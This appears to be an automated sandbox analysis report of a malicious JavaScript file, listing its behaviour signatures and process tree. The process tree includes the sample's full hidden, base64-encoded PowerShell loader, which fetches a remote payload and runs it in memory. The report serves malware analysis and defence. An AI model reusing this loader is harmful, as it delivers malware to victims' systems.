Analysis
- max time kernel
300s - max time network
91s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
24/09/2026, 16:28
General
- Target SAE-114409.js
- Size 436KB
- Sample260924-ty322sxt7m
- SHA256 3bf7ee16b7610f86c7fb8e63ae8c7249a60cb464ae6dd6df659d3cdeafa83620
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\SAE-114409.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JiAoICRTaEVMbElkWzFdKyRzSGVMTElEWzEzXSsnWCcpICggKCd6cGhMaWxsaWFubmEgPSBja0FodHRwczovL3JvdWdoLXRydXRoLScrJ2UwNzIuJysncHVibGljZnRwcmVzZW5kLicrJ3dvcmtlcnMuZGV2L2tlZWt1eHdhY2tBOyB6cGhzYW5kYWx3b29kcyA9IGNrQUM6SXc1VXNlcnNJdzVQdWJsaWNJdycrJzVEb3dubG9hZHNJdycrJzVwYXlsb2FkLnR4dGNrQTsgenBoVXJiYW5hID0gW2FjdGl2YXRvcl06OmNyZWEnKyd0ZUluc3RhbmNlKFtuZXQudycrJ2ViY2xpZW50XSk7IHpwaFVyYmFuYS5IJysnZWFkZXInKydzLkFkZChja0FVc2VyLUFnZW50JysnY2tBLCBja0EnKydNb3ppbGxhLzUuMCAoV2luZG93cyBOVCcrJyAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZScrJ1dlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSAnKydDaHJvbWUvMTIwLjAuMC4wIFNhZmFyaS81MzcnKycuMzZja0EpOyB6cGhVcmJhbmEuRG8nKyd3bmxvYWRGaWxlKHpwaExpbGxpYW5uYSwgenBoc2FuZGFsd29vZHMpOyB6cGhjYWJvY2hvJysnbnMgPSAoR2V0LUNvbnRlbnQnKycgenBoc2FuZGFsd29vZHMgLVJhdyk7IHpwaGZyZWVtJysnYWlsID0genBoY2Fib2Nob25zLlJlcGxhJysnY2UoVTI1KlUyNSxVMjUnKydBVTI1KTsgenBobGVtbWF0aXNhdGlvbiA9IFtjaGFyW11dKCgnKyd6cGhmcmVlbWFpbC5Ub0NoYXJBcnJheSgpKVsoenBoZnJlZW1haWwuTGVuZ3RoLTEpLi4wXSk7IHpwaGNvbmNvbWl0YW5lb3VzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbScrJ0InKydhc2U2NFN0cmluZygtam9pbiB6cGhsZW1tYXRpc2F0aW9uKTsgW0FwcERvbWFpbl06OicrJ0N1cnJlbnREb21haW4uTG9hZCh6cGhjb25jb21pdGFuZW91cykgVEFKIE91dC1OdWxsOyBbV2luMycrJzIuUk1QLmFhYWFhYWFdOjphYWFhYWFhYWFhYShVMjU5VDhkVjV1Y1pJUHg2OE5YNVZCc0xaSnh5ZXJEUmdXWGJaeWUyYklUaXB2VUMyRFl2blB0citnOGtqL09xRVNBakIrWHFyeScrJ09HL3lRcUtFUVoyaXNhUT09VTI1LFUyNVUyNSxVMjVTbycrJzBTa1hhUjlHNicrJ1diTScrJ3BHUHFQTScrJ3ZPSTJSTEUxTy8nKyc3R0F5JysnR0VWYVZuRmFyRHdRa1hUJysnK3gxKzVWJysnRnFFL3c0UXpqVTI1LFUyNTFOZER5Y1pMSkNRTDA1WlV0aEhQJysnelhlWDVHQ2pXMG9YS3NXMkpybHdrODA9VTI1LFUyNXU0b0RqRm9mc0lZUEpNUGonKydmWGx3MUhrbEhnSjVPT056K0t2TnRWaXEyVScrJ1U9VTI1LFUyNVUyNSxVMjVyRnk0YnFNJysnbScrJ0lMSDlTTlRwS0c0TC9kV0szRVgwUjdhZTJWZThVSW1vQkVVPVUyNSxVMjVVMjUsVTI1ekF5a0Jwc25qS3Rnd29hcXk1SGp1MTNFSVlPdWMybkNUa2tQdGw3Zk80TT1VMjUsVTI1d2dqTEdoVVpzd3FQM1dqMS9kOUpQb3hnMGhUOWhrVnU5MFp2T2xlWGpqZE5UKzMxNjVzUm9kTUdLYjkxeUJvTVUyNSxVMjVKQ3grcGVaaHhzbHV6OGE3c3lBbWNHaHNTZ2ZZa2xRMnNmdU5SSjdXeURnPVUyNSxVMjVVMjUsVTI1RG54cVlzdlVRJysnQUdvb08vdWJJdnRwakJUZ1RTWGRzQ3h1WCtqZmdIb0dGRT1VMjUsVTI1VTI1LFUyNWg0UHlNQXRJL3F5K3RWY3Z2ZnA2Z0k1ZmJlY2YnKydIdmJPditUTDlHaFF4c009VTI1LFUyNXVBaUJlc095d3pvamNtV2dVRlI0bkNsYTRMZ3JmTTRLbEpxZjcrR2JDemM9VTI1LFUyNVUyNSxVMjUnKydVMjUsVTI1VTI1KTsgUmVtb3ZlLUl0ZW0gLVBhdGggeicrJ3Boc2FuZGFsd29vJysnZHMgLScrJ0ZvcmNlIC1FcnJvckFjdGlvbiBTaWxlJysnbnRseUNvbnRpbnVlJykucmVQbGFjRSgoW0NoYXJdMTIyK1tDaGFyXTExMitbQ2hhcl0xMDQpLFtTdHJJbkddW0NoYXJdMzYpLnJlUGxhY0UoKFtDaGFyXTg0K1tDaGFyXTY1K1tDaGFyXTc0KSwnfCcpLnJlUGxhY0UoJ2NrQScsW1N0ckluR11bQ2hhcl0zNCkucmVQbGFjRSgoW0NoYXJdNzMrW0NoYXJdMTE5K1tDaGFyXTUzKSxbU3RySW5HXVtDaGFyXTkyKS5yZVBsYWNFKCdVMjUnLFtTdHJJbkddW0NoYXJdMzkpKQ==')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5056-0-0x00007FFC488BF000-0x00007FFC488C0000-memory.dmp
memory/5056-1-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-2-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-3-0x000001D47E080000-0x000001D47E0A2000-memory.dmp
memory/5056-6-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-7-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-8-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-9-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-10-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-11-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-12-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-13-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-14-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-15-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-16-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp
memory/5056-18-0x00007FFC48730000-0x00007FFC490D4000-memory.dmp